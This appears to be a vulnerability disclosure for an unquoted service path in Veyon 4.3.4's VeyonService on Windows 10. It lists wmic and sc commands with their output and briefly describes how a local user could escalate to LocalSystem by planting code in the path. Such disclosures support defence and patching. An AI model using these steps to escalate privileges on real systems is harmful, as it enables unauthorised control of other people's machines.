41 lines
No EOL
1.5 KiB
Text
41 lines
No EOL
1.5 KiB
Text
# Exploit Title: Veyon 4.3.4 - 'VeyonService' Unquoted Service Path
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# Discovery by: Víctor García
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# Discovery Date: 2020-03-23
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# Vendor Homepage: https://veyon.io/
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# Software Link:
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https://github.com/veyon/veyon/releases/download/v4.3.4/veyon-4.3.4.0-win64-setup.exe
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# Tested Version: 4.3.4
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# Vulnerability Type: Unquoted Service Path
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# Tested on: Windows 10 Pro x64
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
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|findstr /i /v "C:\Windows\\" |findstr /i /v """
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Veyon Service VeyonService C:\Program Files\Veyon\veyon-service.exe
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# Service info:
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C:\>sc qc VeyonService
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: VeyonService
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files\Veyon\veyon-service.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : Veyon Service
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DEPENDENCIES : Tcpip
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: RpcSs
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SERVICE_START_NAME : LocalSystem
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# Exploit:
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# A successful attempt would require the local user to be able to insert their code in the
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# system root path undetected by the OS or other security applications where it could
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# potentially be executed during application startup or reboot. If successful, the local
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# user's code would execute with the elevated privileges of the application. |